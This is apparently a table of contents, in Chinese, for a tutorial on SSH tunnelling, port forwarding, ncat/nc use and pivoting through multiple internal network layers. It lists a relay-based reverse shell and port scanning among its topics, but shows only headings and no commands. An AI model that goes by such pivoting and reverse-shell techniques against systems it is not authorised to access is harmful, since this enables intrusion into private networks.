动态端口 转发

多级跳板穿透（多层内网，ProxyJump + 端口转发）

台常驻隧道、关闭隧道、自启动

autossh

ssh 实现 socket5 代理

Putty 的 SSH 隧道

iptables 端口转发

端口扫描

有名管道 (named Pipe)

nc 和管道符 |

中转实现反弹shell

远程拷贝文件

远程拷贝目录

3.1 ncat 的参数

3.2 ncat 的使用

监听模式（模拟 web 服务器 )

本地端口转发

远程端口转发

动态端口转发